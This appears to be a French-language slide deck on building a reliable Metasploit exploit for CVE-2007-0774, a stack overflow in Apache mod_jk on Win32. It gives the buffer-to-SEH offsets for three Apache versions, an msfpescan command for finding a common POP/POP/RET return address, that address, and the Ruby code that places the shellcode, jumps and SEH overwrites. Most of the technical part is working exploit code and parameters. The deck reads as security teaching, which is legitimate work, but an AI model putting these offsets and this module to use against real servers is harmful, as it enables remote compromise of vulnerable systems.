
E x p l o i t s  W i n 3 2  f i a b l e s

OaiTeam.each do |speaker|
next if ( speaker != ''Nicob'' )
launch_rump( mod_jk )

end



F a i l l e  e x a m i n é e

Nom Apache mod_jk overflow
Id CVE-2007-0774
Type Stack overflow « tout con »
Caractéristique Buffer de 4096 octets
Impact Apache 1.3.x, 2.0.x, 2.2.x, ...
Version testée Tomcat Connectors 1.2.20



F o n c t i o n n a l i t é s  a t t e n d u e s

Cible Tout OS Win32
Type d'exploit SEH overwrite
Outil MSF v3

Indépendance
                Version de l'OS OUI
                Langue de l'OS OUI
                Version d'Apache OUI
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Besoin #1 : Déterminer l'offset buffer => SEH

Dépendant de la version d'Apache
4343 (1.3.37)  /  4407 (2.0.59)  /  4423 (2.2.3)

Il suffit de calculer un saut différent par version 
[...][Shellcode] [..........] [SEH] [...] [SEH] [...] [SEH][...]
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Besoin #2 : Trouver un « bon » POP/POP/RET

Indépendant de la version/langue de l'OS
Doit être situé dans une DLL tierce
Solution idéale : mod_jk-[...]-apache-[...].so

Indépendant de la version d'Apache
Un « *.so » par version majeure d'Apache
Recherche d'une adresse de retour

commune à l'ensemble de ces DLLs
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Besoin #2 : Trouver un « bon » POP/POP/RET (bis)

 $> msfpescan -p mod_jk-*.so | grep "ret$" | \
awk '{print $1}' | sort | uniq -c | sort -nr

6 0x6a6b8ef1



 a p a c h e _ m o d j k _ o v e r f l o w . r b

Définition de l'adresse de retour

'Targets' => [['mod_jk 1.2.20', { 'Ret' => 0x6a6b8ef1 }],]

Placement des SEH et calcul de l'offset

sc_base = 16
sploit[ sc_base, shellcode.length ] = shellcode
[ 4343, 4407, 4423 ].each do |seh_offset|

sploit[ seh_offset - 9, 5 ] = "\xe9" + [ sc_base - seh_offset + 4 ].pack('V')
sploit[ seh_offset - 4, 2 ] = "\xeb\xf9"
sploit[ seh_offset      , 4 ] = [ target.ret ].pack('V')

end




